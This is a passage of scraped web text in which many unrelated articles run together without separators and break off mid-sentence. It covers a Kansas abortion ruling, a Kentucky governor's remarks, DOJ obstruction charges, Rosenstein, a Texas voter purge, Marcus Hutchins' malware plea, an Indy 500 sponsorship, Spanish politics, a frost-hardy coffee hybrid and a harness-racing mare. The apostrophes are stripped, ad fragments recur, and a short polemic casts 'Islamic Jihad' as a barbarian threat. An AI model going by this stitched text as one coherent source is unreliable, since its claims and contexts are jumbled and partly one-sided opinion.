of Rights] is the principle that individuals should be free to make choices about how to conduct their own lives, or, in other words, to exercise personal autonomy. Few decisions impact our lives more than those about issues that affect ones physical health, family formation, and family life. Applying this principle to S.B. 95, the majority easily concluded that the law ran afoul of this principle. Denying a pregnant woman the ability to determine whether to continue a pregnancy, the court wrote, would severely limit her right of personal autonomy. And abortion laws do not merely restrict a particular action; they can impose an obligation on an unwilling woman to carry out a long-term course of conduct that will impact her health and alter her life. Advertisement Advertisement As a result, any Kansas law that limits abortion access must meet strict scrutiny. That requires the state to prove that an abortion restriction is narrowly tailored to promote a compelling interest. Here, Kansas has not yet met this searching standard, as it failed to identify any compelling interest in outlawing a common, safe abortion procedureand, in the process, severely curtailing womens natural rights. The district court did not apply strict scrutiny to S.B. 95, so the state has not yet had an opportunity to try to prove that the law meets this standard. So the majority sent the case back down for further hearings, with a strong suggestion that Kansas will not be able to establish a compelling state interest. Advertisement Advertisement Advertisement Advertisement Fridays ruling cannot be overturned by SCOTUS . By applying strict scrutiny, the Kansas Supreme Court expressly rejected the current U.S. Supreme Court test for abortion limitations, which simply asks if they impose an undue burden on a womans right to choose. The majority refused to adopt this loose and notoriously malleable test, holding that it is insufficiently stringent to safeguard inalienable rights under the Kansas Constitution. This ad hoc balancing test allows a weak state interest to justify an infringement on abortion, the Kansas Supreme Court wrote of the current federal standard. It emphasizes the governmental interest instead of the individuals rights, and thus lacks the rigor demanded by the Kansas Constitution for protecting the right of personal autonomy. Advertisement Advertisement The ruling was 61, with three of the courts liberals joined by two more conservative judges in the majority opinion. Another liberal justice, Daniel Biles, concurred in the judgment but rebuffed the new standard; he wouldve blocked the law under the undue burden test that the majority spurned. A single justice, Caleb Stegall, dissented, insisting that the Kansas Constitution does not protect the right to terminate a pregnancy. He did not attempt to conceal his disdain for abortion, railing against the procedure as human dismemberment. And he condemned the majoritys ruling as the most significant and far-reaching decision this court has ever made. Advertisement Stegall is not wrong that Fridays decision is monumental. But for those who support the right to bodily integrity, its scope is cause for celebration not denunciation. Like a number of other state Supreme Courtsincluding, most recently, Iowasthe Kansas Supreme Court has ensured that abortion rights will survive in the state if the U.S. Supreme Court overrules Roe. Indeed, it has granted robust protections for abortion access that go far beyond the federal standard. Even if Roe falls, Kansas women will have a constitutional buffer against draconian constraints on their reproductive rights. Advertisement Advertisement Because it is rooted exclusively in the state constitution, Fridays ruling cannot be overturned by SCOTUS. But it can be reversed by constitutional amendment. That would require both houses of the Legislature to approve an amendment by a two-thirds vote, at which point it would be placed on the ballot and added to the constitution if supported by a majority of voters. Republicans hold a supermajority in both houses of the Kansas Legislature, though the GOP faction is sharply divided between archconservatives and moderates. Democratic Gov. Laura Kelly endorsed Fridays ruling but has no authority over the amendment process. To forestall an amendment, Kelly will have to persuade Democratic legislators, as well as a handful of moderate Republicans, to stand behind the court. The fight over abortion rights in Kansas, in other words, is not over. And the future of Fridays landmark decision is uncertain. But a majority of the court has ensured that, at least for now, the state may not exercise control over womens bodies. Other state Supreme Courts should take note: This is what judicial courage looks like. Kentucky Gov. Matt Bevin, who once before sparked outrage over wild and speculative claims about striking teachers, is facing condemnation by state Democrats after saying on Thursday that he blamed the accidental shooting of a 7-year-old girl on teachers striking for better classroom funding, according to the Louisville Courier Journal. [W]e had people pretending to be sick when they werent sick and leaving kids unattended to or in situations that they should not have been in, he told the crowd at the Louisville Rotary Club. A little girl was shot, 7 years old, by another kid because they were somewhere that they werent intended to be and because the parent didnt have any option, and put them into a situation so they could go to work. Advertisement Advertisement Advertisement Advertisement Bevins apparent reference to a March 12 shooting in Shively, Kentuckyin which the girl surviveddoesnt get the details quite right. The girls guardian, her uncle, was outside when she was shot in the head by her 11-year-old brother inside their home. And while Jefferson County Public Schools had been closed at the time because of the teacher protests, its not known whether the two children, who have not been identified, attended public schools in the county. In responding to a question about stemming gun violence, Bevin, who opposes any additional firearm regulations, brought up the teachers protests unprompted. The public school teachers had staged a sick-out during six days in February and March, calling in sick en masse. (It is illegal for teachers to actually strike in Kentucky.) The teachers had for weeks been demanding better funding for their classrooms and for their pension systems, following another national wave of protests by public school teachers. Advertisement Advertisement The teachers conducted their first mass sick-out in 2018 after lawmakers surprised them with a pension-reform measure tacked onto another bill originally meant to deal with wastewater services. (The resulting law was ultimately struck down by the state Supreme Court because of the way in which it was passed.) They followed up with more protests over school funding, and Bevin, frustrated by a teacher rally in April 2018 that shut down schools statewide, told reporters that children were being abused as a result of the protests. Advertisement I guarantee you somewhere in Kentucky today, a child was sexually assaulted that was left at home because there was nobody there to watch them, Bevin said. I guarantee you somewhere today, a child was physically harmed or ingested poison because they were left alone because a single parent didnt have any money to take care of them. He also guessed that some children were introduced to drugs for the first time. Bevinwho in January said that school cancellations during the deadly polar vortex proved that America was getting softfaced a backlash for those comments. According to the Courier Journal, Bevins popularity plummeted soon after he made the remarks, and a new poll showed him to be the least popular governor in the country. It took Attorney General William Barr only one week from the release of the Mueller report to bring obstruction of justice charges against two governmental officials for interfering in a federal investigation. But the charges have nothing to do with the special counsels investigation into Russian interference in the election or the possible obstruction of that investigation. Although the obstruction charges DOJ filed are not related to the Mueller report, they underscore just how far the attorney general bent over backward to spin the report in the presidents favor and how partisan the Department of Justice has become. The disparities between the two cases highlight how the Department of Justice, under Barrs leadership, has become nothing more than a political arm of the Trump administration, particularly in its handling of possible obstruction charges stemming from the Mueller report. Advertisement Advertisement Advertisement Advertisement The indictment against Judge Shelley Richmond Joseph, a Massachusetts district court judge, and Officer Wesley MacGregor, a Massachusetts trial court officer, alleges that the officers interfered with an Immigration and Customs Enforcement proceeding by preventing ICE from arresting an individual who was arrested on state charges and attended an arraignment hearing in state court. During the state court proceeding, Joseph asked an ICE officer to wait outside the courtroom while the court conducted the arraignment hearing. Earlier in the day, the judge had requested more information about one of the state charges in the case (a fugitive charge) after the prosecutor said the state would not seek to detain the defendant on the other charge (a drug charge). Barrs response to the obstruction issues raised by the Mueller report was partisan and unprincipled. After recalling the case, the judge observed that ICE was in the courthouse. The prosecutor then informed the court that the state did not believe the defendant was the fugitive from Pennsylvania for whom there was an arrest warrant and therefore believed that the fugitive charge was an error, which would mean that the defendant would be free to leave. The defense attorney, however, noted that ICE was convinced otherwise and suggested they would likely take the client into custody. The defense attorney then suggested that the best thing for us to do is to release him and hope that he can avoid ICE. Advertisement Advertisement Advertisement At that point, the judge noted the other alternative was to recall the proceedings again the next day and asked ICE is gonna get him? before directing the clerk to go off the record. The recording was turned off for 52 seconds, and when it resumed, the prosecutor renewed the claim that the defendant was not the person with a Pennsylvania warrant out for his arrest and moved to dismiss the fugitive charge against him. Because the state had already stated it would not seek to detain the defendant on the drug charges, the defendant was released, and the trial court officer escorted him through the back door. Advertisement Advertisement This evidence provided the basis for Barrs Department of Justice to indict the state judge and state officer for obstruction of justice and conspiracy to obstruct justice. Yet all of the reasons Barr has previously cited for opposing an obstruction investigation against the president suggest the Department of Justice should not have brought obstruction charges against Joseph and MacGregor either. Advertisement For example, in June, Barr wrote a memo as a private citizen arguing that obstruction laws should not reach facially-lawful actions taken by the President in exercising the discretion vested in him by the Constitution. Yet that is exactly what the obstruction-of-justice charges against Joseph and MacGregor cover. State judges do not persist with criminal charges that the district attorney has dropped, and state law does not require judges to detain individuals on the drug charges that remained. It was therefore facially legitimate and within the discretion of the judge not to detain the individual based on the drug charge. The judge also has total control of her courtroom and can decide through which doors to instruct people to come and go. And the state judges motive shouldnt matter to the analysis because under Barrs theory of obstruction, government officials cant be charged with obstruction based solely on his subjective state of mind for simply exercising his discretion in a facially lawful way. Advertisement Advertisement Advertisement Advertisement Or take Barrs statementgiven at a bizarre press conference just prior to the release of the Mueller report last weekthat the president did not corruptly intend to obstruct the investigation because the president was frustrated and angered by a sincere belief that the investigation was undermining his presidency. A similar exculpatory argument could be made on behalf of Joseph and MacGregor. They, too, may have been frustrated and angered by a sincere belief that ICEs investigations and presence in state courthouses undermined the integrity of state court proceedings. Or perhaps they were frustrated and angered by a sincere belief that ICEs enforcement efforts were the result of the presidents apparent bias and animosity toward the Latino community. Advertisement Advertisement Ultimately, the Justice Departments indictment of Joseph and MacGregor is a reminder about how aggressively the federal government often reads the federal obstruction statute. For example, the indictment confirms that obstruction does not have to be particularly sophisticated or successful in order to constitute a crimethe trial court officer merely let the defendant out the back door, and the defendant was subsequently apprehended and now faces deportation. It also demonstrates a contrast in the kind of evidence that often suffices to establish an obstruction-of-justice charge. In the case of Joseph and MacGregor, DOJ has some snippets of a courtroom conversation that indicated the judge wanted to do something she did not want publicly recorded and less than a minute without a recording. In the case of President Donald Trump and his associates, special counsel Robert Mueller compiled dozens of witnesses, contemporaneous notes, 10 separate incidents, 182 pages of a report, multiple instances of officials lying to investigators or not being forthcoming with them, and several damning instances of the president lying in an apparent effort to cover his tracks. All of this led Barr to his four-page summary conclusion that Trump had not committed a crimea conclusion that flew in the face of Muellers findings. The stark difference between the attorney generals treatment of the obstruction case against Joseph and MacGregor and the obstruction cases at the heart of the Mueller report serves as a pointed reminder that Barrs response to the obstruction issues raised by the Mueller report was partisan and unprincipled. Deputy Attorney General Rod Rosenstein, who has been criticized for his role in the very pro-Trump tilt the Department of Justice has given the Mueller Report, once vowed to Trump that he was on his team and could guarantee Mueller treated him fairly, the Washington Post reported Friday. I give the investigation credibility, Rosenstein reportedly said, according to one official familiar with the conversation who talked to the Post. I can land the plane. The conversation came about in the wake of a September 2018 story from the New York Times reporting that Rosenstein had suggested wearing a wire to record Trump after the president fired James Comey. When the Times published its story, Rosenstein pushed back, calling the details in the Times story false. And, according to the Post, Rosenstein offered Trump those same reassurances in a conversation the president initiated. To prevent himself from being quickly fired by the president, the Post reports, Rosenstein reassured Trump of his loyalty and blamed the story on former FBI deputy director Andrew McCabe (one source told the Post Rosenstein had been teary-eyed before the call). Advertisement Advertisement Advertisement Advertisement Many have seen Rosenstein as the Mueller investigations protector in the administration (the deputy attorney general appointed the special counsel). Rosenstein did publicly defend the special counsels investigation, but he also stood in support with Attorney General William Barr last week as Barr presented a misleadingly pro-Trump summary of the Mueller report. He even flew in from Florida, where he was on a family vacation, to be with Barr as he presented the report. Rosenstein denied wrongdoing in his statement to the Post. The only commitment I made to President Trump about the Russia investigation is the same commitment I made to the Congress: so long as I was in charge, it would be conducted appropriately and as expeditiously as possible, he said. Everyone who actually participated in the investigation knows that. Advertisement Advertisement As the Post article itself suggests, he worked to keep his position by employing the language Trump wanted to hear, navigating in the grey areas to placate the president wherever he could. As an example, Rosenstein repeatedly reassured Trump that he was not a target of the Mueller investigationa law enforcement term separate from being a subject of an investigation, which Trump in reality was. Advertisement In his statement to the Post, Rosenstein added: My relationship with the President is not one-dimensional. The Russia investigation represents only a fraction of my work and the work of the Department of Justice. I talk with the President at every opportunity about the great progress we have made and are making at the Department of Justice in achieving the Administrations law enforcement priorities and protecting American citizens. On Thursday night, after being contacted by the Post for comment, Rosenstein gave an unusual speech railing on the news media. Some of the nonsense that passes for breaking news today would not be worth the paper was printed on, if anybody bothered to print it, he said. On Jan. 25, Texas Secretary of State David Whitley issued a shocking advisory alleging that 95,000 noncitizens were on the states voter rolls, 58,000 of whom had cast at least one ballot. Whitley, a Republican, directed county registrars to commence an immediate purge of these noncitizens using lists he would provide. Texas Attorney General Ken Paxton, also a Republican, promptly tweeted a VOTER FRAUD ALERT summarizing Whitleys findings, and President Donald Trump repeated Whitleys claims two days later. By that point, counties had already begun notifying targeted voters that they would be purged from the rolls. Advertisement On Friday, Whitley quietly promised to rescind his January advisory and halt Texas voter purge as part of a settlement with multiple voting rights groups. The factual basis of Paxton and Trumps tweets has been not just undermined, but fully revoked. Fridays settlement is a good reminder to be incredibly skeptical of government officials who make eye-popping claims of voter fraud and whose partisan interests are at stake. Over and over and over again, these claims are later proved to be extremely dubiousif not outright false. Advertisement Advertisement Advertisement Whitley compiled his purge list by using Department of Public Safety records to identify individuals who presented documents indicating that they were noncitizens when they obtained or renewed a drivers license. It cross-referenced that list with the voter rolls, and voila, found 95,000 names that appeared on both. What Whitley did not consider is the fact that more than 50,000 Texans are naturalized each yearand when they gain citizenship, they do not have to inform the Department of Public Safety. Thus, its overwhelmingly likely that a huge number of people Whitley flagged have become U.S. citizens and are lawful voters. As I explained in February: Drivers licenses issued to non-citizens are valid for six years, and over the last six years, nearly 350,000 Texas adults have been naturalized. If even one-third of those adults registered to vote, they could easily account for the total number of non-citizen voter registrants on Whitleys list. Advertisement Advertisement So Whitleys list didnt really target noncitizens; it targeted naturalized citizens, which happens to be unconstitutional. In response, a coalition of voting rights groupsincluding Mexican American Legal Defense and Education Fund, the League of United Latin American Citizens, the American Civil Liberties Union, Demos, the Lawyers Committee for Civil Rights Under Law, and the Texas Civil Rights Projectfiled lawsuits. A federal judge blocked the purge in late February, describing it as ham-handed, a solution looking for a problem, and an effort to intimidate the least powerful among us. Advertisement Seeing the writing on the wall, Whitley chose to settle the cases rather than suffer a protracted court battle over his indefensible purge. Under the terms of Fridays settlement, Whitley must retract his January advisory and ask counties to stop purging voters on the basis of the lists he sent. Instead, Texas will undertake a narrow and restrained approach, using much more detailed, precise criteria and up-to-date information to maintain its voter rolls. Naturalized citizens will not be targeted, and voters suspected of lacking citizenship will have a real opportunity to prove theyve been misidentified. The state will train county registrars to ensure that they do not purge voters on the basis of incomplete or suspect data. Advertisement Advertisement Advertisement After the Texas purge began, I noted that Whitley had taken a page from the Kris Kobach playbook, tossing out a wildly inflated claim of noncitizen voting, then used the ensuing panic to justify mass disenfranchisement. But that tactic does not necessarily work when voting rights advocates are prepared to pummel the state with lawsuits that uncover the lies and duplicity used to concoct the states initial claim (or when the initial claim is so easily proven to be bogus). The Friday settlement ending Texas planned purge is an object lesson in the vital role that swift, smart lawyering can play in safeguarding the franchise. If the state hadnt faced an immediate hail of lawsuits, it may well have gotten away with its lawless assault on suffrage. Last week, 24-year-old British hacker Marcus Hutchins took a plea deal in which he admitted to helping develop and sell malware designed to steal peoples banking credentials. Despite his admission of guilt and the clearly malicious program he wrote, the resolution of his case feels, in many ways, more like a loss than a victory for cybercrime policing. Hutchins writes the MalwareTech blog and gained considerable attention in May 2017 when he was able to slow the spread of the massively destructive WannaCry ransomware by reverse-engineering it and then purchasing a domain that he found hard-coded into the malware. The then22-year-old Hutchins told the Guardian, I was unaware registering the domain would stop the malware until after I registered it, so initially it was accidental. So I can only add accidentally stopped an international cyber-attack to my resume. Advertisement Advertisement Advertisement Advertisement Months later, in August 2017, Hutchins came to Las Vegas for the annual Def Con security conference and was arrested by the FBI on charges of helping develop and sell the Kronos banking Trojan in 2014 and 2015. Of course, one good deedeven one as far-reaching as stemming the spread of WannaCrydoes not automatically undo the damage of providing people with tools to conduct financial fraud and theft. But its hard not to feel some regret here. Hutchins didnt just do one good thing amid an ongoing series of bad ones. So far as anyone can tell, by the time WannaCry happened, he had already put his malware-selling days behind him and turned his attention to reverse-engineering and documenting examples of malware on his blog. Soon after Hutchins arrest, security journalist Brian Krebs did a thorough investigation of Hutchins ties to illegal online activity and concluded that Hutchins began developing and selling malware in his mid-teensonly to later develop a change of heart and earnestly endeavor to leave that part of his life squarely in the rearview mirror. Advertisement Advertisement Hutchins didnt just do one good thing amid an ongoing series of bad ones. Hutchins himself, in a post on his blog about the plea deal, wrote, As you may be aware, Ive pleaded guilty to two charges related to writing malware in the years prior to my career in security. I regret these actions and accept full responsibility for my mistakes. Having grown up, Ive since been using the same skills that I misused several years ago for constructive purposes. I will continue to devote my time to keeping people safe from malware attacks. Advertisement Of course, any arrested hacker could claim to have put their black-hat days behind them and turned over a new leaf. But in Hutchins case theres actually evidence to back that up. Not just his remarkable contribution to fighting WannaCry but also his years of blog posts detailing his analysis of how different types of malware work. That work provides a genuine public service, helping people recognize and understand vulnerabilities that are exploited by malware and how to protect against them. His skills at reverse-engineering malware are rare, and valuable. And while youth is not an excuse for criminal activity, it seems significant that Hutchins most malicious activity seems to have occurred in his late teens, with a clear change of course as he entered his 20s. Advertisement Advertisement Advertisement Hutchins has not yet been sentenced, but the two charges he pleaded guilty to each come with a maximum penalty of up to five years in prison, a $250,000 fine, and one year of supervised release. With luck, the sentencing will be lenient, in recognition of both the service Hutchins has provided to the security community since his days of selling malware and the potential for himand other people like himto provide similar contributions to cybersecurity in the future. Advertisement Advertisement We need to create a path for people like Hutchins to use their talents for good. Not everyone will want or be able to do that, and not every hacker who is offered a second chance manages to stick to the right side of the law. (Albert Gonzalez, for instance, famously pulled off the huge 2005 TJX data breach while working as a paid informant for the Secret Service.) Not every cybercriminal necessarily deserves a second chance, eitherif Hutchins had been running a large-scale financial cybercrime ring for years a la Evgeniy Bogachev, then it would be absurd to even imagine he would try to reform himself, or be worth letting him off the hook for his crimes. Advertisement Advertisement But what Hutchins did was relatively small-scale and seems to be squarely in his past at this point. Undoubtedly, it was also dumb and wrong and quite possibly illegal. (Orin Kerr has written a good analysis in the Washington Post of the legal issues surrounding the case.) And Hutchins malware may well have cost innocent people money, though security reporter Thomas Brewster wrote in Forbes in 2017 that Kronos was largely a failure amongst serious cybercriminals and that while [it] may have claimed some victims, it never became anything close to a serious criminal operation. The fact that Hutchins wrote relatively unsuccessful malware does not excuse what he did, but there are too few people with Hutchins talentsand those talents are too often forged in shady or outright illegal dealingsto refuse to offer him and others like him a chance at redemption and an opportunity to make amends by keeping us all a little bit safer. Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society. We use third-party advertising companies to serve ads when you visit our website. These companies may use information (not including your name, address, email address, or telephone number) about your visits to this and other websites in order to provide advertisements about goods and services of interest to you. If you would like more information about this practice and to know your choices about not having this information used by these companies , click here. Preferred Freezer Services To Be Featured On Ed Carpenter's 2019 Indianapolis 500 Entry Posted by: ASkyler on Apr 25, 2019 - 05:32 PM Preferred Freezer Services To Be Featured On Ed Carpenter's 2019 Indianapolis 500 Entry Preferred Freezer Services announced today a continuation of their partnership with Ed Carpenter Racing for a sixth consecutive year. New for 2019, the only owner/driver in the NTT IndyCar Series will be behind the wheel of a blue and white Preferred Freezer Services car for the first time. Ed Carpenters No. 20 Chevrolet will showcase the classic colors and famous Preferred Freezer Services polar bear at the 103rd Running of the Indianapolis 500 on May 26, 2019. Preferred Freezer Services (PFS), a global leader in the cold storage, warehousing, distribution and logistics industry, first teamed up with Ed Carpenter Racing (ECR) to field a second car for the team in the 2014 Indianapolis 500. The company has supported ECRs Month of May program each year since, serving as primary partner on six entries for the 500-mile race over the past five years. Of those six entries, four have yielded Top 10 finishes, including a 3rd place in 2016. Last year, full-time ECR driver Spencer Pigot started a Preferred Freezer Services Chevrolet on the outside of the second row after making the prestigious Fast Nine Shootout during qualifying. Carpenter is honored to have the opportunity to make his 16th Indianapolis 500 start in the No. 20 Preferred Freezer Services Chevrolet. "Preferred Freezer Services, along with DEEM, has been an amazing partner of ECR over the years," remarked Carpenter. "I have always thought that the bold blue livery stood out and looked fast on track. I cant wait to represent Preferred Freezer, DEEM, SMC and all of their employees at the Indianapolis 500." While Carpenter now races exclusively at the oval events, he remains one of the most experienced drivers in the NTT IndyCar Series field with over 175 career starts. In 2018, he became just the 10th driver to collect three or more Indianapolis 500 pole positions in the century-plus history of the race. When Carpenter took the green flag from the coveted first starting position, 2018 became the 11th season in a row that he has led at least one Indy car race. The Indianapolis native went on to lead the most laps of all drivers (65) on his way a runner-up finish in the 102nd running of the 500-mile classic. Of Carpenters 15 Indianapolis 500 starts, last years second place was the highest of his career. Utilizing leading-edge technology, Preferred Freezer Services offers the most modern temperature-controlled, full-service warehouses in a network of strategically located state-of-the-art facilities. PFS now operates 39 locations in 9 regions across the United States with 3 more scheduled to commence construction shortly. After starting with one refrigerated warehouse in New Jersey 30 years ago, PFS has grown to more than 2,300 employees, close to $350 million in sales and has over 330 million cubic feet of warehouse space from coast-to-coast. PFS also maintains an international presence with several cold storage warehouses in China and one in Vietnam. Indianapolis-based Ed Carpenter Racing will also enjoy ongoing support for the No. 20 from two companies with deep Hoosier ties. SMC Corporation of America (SMC) has returned for a second Indianapolis 500 with Carpenter. SMC Corporation, based in Japan, is the worlds largest pneumatics company dedicated to factory automation. SMC is the U.S. subsidiary of SMC Corporation and is headquartered in Noblesville, Ind. Additionally, DEEM Mechanical and Electrical Company will continue as one of ECRs longest-tenured partners as the relationship with the No. 20 dates back to 2013. DEEM is centrally located in Indianapolis, Ind. with satellite offices throughout the Midwest down to the southeastern United States. "We are excited to be a big part of the 103 Running of the Indy 500," stated Trut Edwards, Head of Operations. "Ed and ECR continue to deliver a great experience that reflects what May in Indianapolis is about." A Preferred Freezer Services Chevrolet will also take to the track for the INDYCAR Grand Prix, the road course race immediately preceding the Indianapolis 500. Ed Jones too will race a blue and white No. 20 at the Indianapolis Motor Speedway, albeit on the 2.439-mile road course before handing the car over to Carpenter for the "500." The famous PFS polar bear will also be present on the No. 20 of Carpenter (ovals) and Jones (road/street courses) and the No. 21 of Pigot for the remainder of the 2019 NTT IndyCar Series season. All three Ed Carpenter Racing drivers will participate in a test at the 2.5-mile Indianapolis Motor Speedway oval on Wednesday, April 24, 2019. It will mark the first time Carpenter will be behind the wheel of the No. 20 Preferred Freezer Services Chevrolet. Pigot will remain in his No. 21 while Jones will shift over to ECRs third Indianapolis 500 entry in conjunction with Scuderia Corsa. Jones will race the blue and white PFS livery in the INDYCAR Grand Prix on May 11, 2019, after which Carpenter will take over the No. 20 for the remainder of May. Practice for the Indianapolis 500 begins May 14 with the 103rd Running set to take place on Sunday, May 26, 2019. Preferred Freezer Services will back one of Ed Carpenter Racing's Indianapolis 500 entries for the 6th consecutive year, but with team owner Ed Carpenter behind the wheel in 2019. The three-time Indianapolis 500 pole sitter will drive the blue and white No. 20 Preferred Freezer Services Chevrolet for the first time at a test at the Indianapolis Motor Speedway on Wednesday, April 24. PaddockTalk Perspective The gravity of the existential threat we face from Islamic Jihad is truly of epic proportions. It is essentially a battle pitting free-civilized man against a totalitarian barbarian. What is at stake is the struggle for our very soul - namely who we are and what we represent. The lives that were sacrificed for individual rights and freedoms that we've come to cherish are being chiseled away from right under our noses by the stealth jihadists. And many of us are in denial and totally clueless. The left's appeasement and pandering to evil is nothing new. What makes their utopian delusions so infuriating and unpardonable is that it is not only they who will have to pay the consequences, and deservedly, so, they are thwarting and undermining our best efforts at resistance and are thus dragging us down in the process as well. By Peter Lancz,, the head of the Raoul Wallenberg World Campaign Against Racism. An authoritarian drift has occurred almost entirely without overtly authoritarian parties in government. Font size: A - | A + Comments disabled The wild card in this weekends Spanish election is the far right Vox party, and they are a perfect example of how fringe parties now dominate political debate. To anybody tuning into a Spanish election campaign for the first time, it would seem that the Catalan regions bid for independence was the countrys biggest political issue. Candidates for prime minister battle one another to show how much stronger they will confront the separatists. But just 3.7 percent of people view Catalonias bid for independence as the most important issue facing Spain, well behind unemployment (39.5 percent), political parties (12.8 percent), corruption (11 percent) and general economic problems (8.2 percent), according to the Madrid-based Center for Sociological Investigations (CIS). The threat of climate change looms large over the future of coffee production. If problems like leaf rust and artificially low C prices are the past and present hurdles for coffee growers, climate change is the certainly the future (though, in truth all three problems have existed and will continue to for years to come). Often colloquially known as global warmingthough we dont use that as much anymore because there are dum-dums in this world who take the presence of cold weather as a sign that everything is a-okclimate change is best represented by extremes in weather, both hot and cold. And while the earth is warming and that is shifting the regions suitable for coffee production, these swings in temperature can have a more immediate impact, decimating vulnerable coffee trees almost overnight. But in a bizarre twist of fate, it was one of these temperature swings that led to the discovery of what the MIT Technology Review calls a climate-change-proof coffee. The new F1 hybridmeaning it is the first-generation offspring of two genetically distant parents is called Centroamericano and was created in Costa Ricas Tropical Agricultural Research and Higher Education Center (CATIE). A combination of Sudan Rume and T5295a Sarchimor variety hybrid made from Villa Sarchi and TimorCentroamericano was created for disease resistance, yield, and taste; according to the article, it produces a high-quality beverage, yields over 20% more coffee beans than average per hectare, and shows high tolerance to coffee leaf rust, a much-feared plague. But no real thought was given to how it would hold up in extreme conditions. Until February 6, 2017, that is. On that night at a test farm in Laos, the temperature underwent a drastic drop, bringing with it a frost that blackened and severely injured most of the trees on the plot. By the next morning, only three rows of trees had survived: those with Centroamericano and two other hybrid varieties from Central America. Scientists believe these trees survived due to something called hybrid vigor, a concept more widely utilized in things like corn, poultry, and rice that has more recently found its way to coffee thanks to the work of Benoit Bertrand at the French Agricultural Research Centre for International Development and other researchers. Hybrid vigor is essentially the idea that each parent organism of the hybrid passes on to their offspring different genes, making it more genetically diverse and therefore more resilient. The article notes that hybrid vigor may be a boon for the health of coffee, which is notorious for its lack of diversity, with Latin American coffee having an especially shallow genetic pool. And indeed, initial trials showed these new varieties to have 20-50% more hybrid vigor than their parents, were yielding more coffee, and were disease tolerant. But the future of coffee hasnt been secured just yet. Producing these F1 hybrids is expensiveeach seedling costs two to three times that of a normal seedlingand they are incredibly unstable. Left to their own devices, these F1 hybrids would create any number of new varieties as the parents genes reshuffle to create new combinations. This would lead to the loss of stability in the hybrid as well as the vigor. Nonetheless, Centroamericano represents a step forward in staring down climate change, a problem that doesnt just impact the coffee industry but everyone, and as such is an issue that is going to require more than just coffee people to affect any real change. So until the Twitter-toting dodo birds of the world jump on board with the idea that humanity needs to amend their practices for the earth to survive beyond our own noses, planning for surviving the worst may just be the best practice. Centroamericano may just be that plan for coffee. Zac Cadwalader is the managing editor at Sprudge Media Network and a staff writer based in Dallas. Read more Zac Cadwalader on Sprudge. Top image via MIT Technology Review Tahnee Camilleri couldnt have been more excited to start racing Ideal Lifestyle A. The Australian mare came to Camilleris barn off a career-best 1:50.3 victory at Menangle in September 2018 and by late fall, Camilleri had the Western Ideal mare ready to qualify at the Meadowlands. However, Ideal Lifestyles North American debut suffered a delay. I had her ready to qualify at the Meadowlands roughly in October or November, but she had a bit of a mishap in the paddock when I had her in to qualify, Camilleri said. She kicked and got her leg caught over her hopples, so she ended up doing a little tear in her hamstring and she needed time off then. For Camilleri, the injury proved to be a low point. After embarking on a career as a lawyer, the Australian native changed course and came to the United States to pursue her passion of harness racing. After a brief stint here in 2009, Camilleri returned last year. Her growing stable of Australian imports have posted 20 wins from 54 starts since April 2018 and Ideal Lifestyle looked to be the star of the stable. It was really disappointing because I was quite excited to start racing her and just to have a horse of that caliber, Camilleri said. Her last start in Australia, she made a bunch of very good mares look ordinary, she absolutely destroyed them. I was pinching myself to be able to get my hands on a mare of that caliber and for it to all go pear-shaped her first time she set foot on a racetrack here was a little bit disappointing, but I suppose thats racing. Tahnee Camilleri and Andrew McCarthy with Firebby A Tahnee Camilleri and Andrew McCarthy with Firebby A A multiple Group 3-placed performer Down Under, Ideal Lifestyle came to Camilleri off an open-length victory in a one-mile mares free-for-all. After leaving from the far outside post, Ideal Lifestyle set and opening fraction of :25.4 and came home with a :27.3 quarter to post her lifetime mark. When she arrived in Camilleris barn, her impression in the flesh was even more impressive than that on the track. Shes built like a breeding stallion, shes a very big Western Ideal mare, extremely highly-strung, but a lot of the good mares are, Camilleri said. Just looking at her, shes a very impressive looking individual. Ive never trained a Standardbred that big, let alone a mare. Shes quite impressive to look at. She was very hard to get out of the stall when I first got her. Shes very high-strung and you just have to train her with sheepskin gloves, I guess. Shes a little bit temperamental, but shes entitled to be. After her arrival, Camilleri and Ideal Lifestyle quickly got off on the wrong foot. However, over time, she has become easier to work with. I got her off the truck when she had just come from quarantine and I put her in a stall. I let her rest in there for a little while, let her have something to eat and drink, Camilleri recalled. And then I went and hour or two later to let her out in the field and she wasnt having it. She chased me out of the stall. That was basically my introduction to Ideal Lifestyle. Its not very fun being chased out of a stall by a horse that size. Shes definitely taught me a lot, Camilleri said. She hasnt been an easy horse to train, but Im now starting to reap the rewards of the patience Ive put into her. Its been a bit of a ride, but its been an exciting one, anyway. Camilleri gave Ideal Lifestyle time to recover from her injury and by January, she was ready to qualify again. After two successful trials at the Meadowlands and a runner-up finish in 1:52 on debut February 1, Camilleri decided to nominate to the Blue Chip Matchmaker Series despite her concerns about the half-mile track. I had my doubts about whether she would get around Yonkers, the trainer said. I paid up for the Matchmaker and just thought I would put her around Yonkers and see how she goes. Shes a very big mare, a very long mare. Ideal Lifestyle made her Hilltop debut February 15, the evening after payments were due. She wired the field in a $29,000 overnight, scoring in 1:54 with Jordan Stratton in the sulky. Ideal Lifestyle subsequently posted two straight runner-up finishes in the $44,000 distaff feature before taking aim at the series. Ideal Lifestyle continued to surprise her trainer with a 1:52.3 victory in leg one of the series March 15. After two straight second-place finishes in weeks two and three and a fourth April 5, Ideal Lifestyle accumulated 208 points, enough for an eighth-place ranking in the standings, earning her a spot in the $402,600 Final Saturday night (April 20). Probably half-mile racing isnt really her go, but its a testament to her ability that she qualified for the final when its very obvious she struggles around a half, Camilleri said. Im very proud of her; she does a lot of things wrong, but she still qualified for the final and shes a great trier, so its going to be fun. Ideal Lifestyle drew post seven in the final and will be reunited with Jordan Stratton after George Brennan drove throughout the preliminary legs. Although she is a 20-1 outsider, the long odds take the pressure of Camilleri in her stakes debut. This is my first stakes race Ive ever been in. Shes a bit of a forgotten horse and its a lot less pressure on me and her and Im going to go into (Saturday) night and just enjoy myself, she said. Im still pinching myself. Its very, very exciting and Im very excited for the mare, Camilleri continued. George came off and said she was a little tired her last start. I skipped last week and freshened her up, shes jumping out of her skin, so Im expecting her to run a good race. Ive got a great tactical driver on board in Jordan Stratton and Ill just leave it up to him. Win, lose, or draw, Im so proud she qualified for the final and Im thankful to be there. The field for the Matchmaker Series Final is listed below: (Post - Horse - Driver - Trainer) 1. Kaitlyn N - Matt Kakaley - Rich Banca 2. Apple Bottom Jeans - Corey Callahan - Dylan Davis 3. Feelin Red Hot- George Brennan - Ron Burke 4. Dont Think Twice - Jason Bartlett - Andrew Harris 5. Bettor Joy N - Dexter Dunn - Jim King Jr. 6. Shartin N - Tim Tetrick - Jim King Jr. 7. Ideal Lifestyle A - Jordan 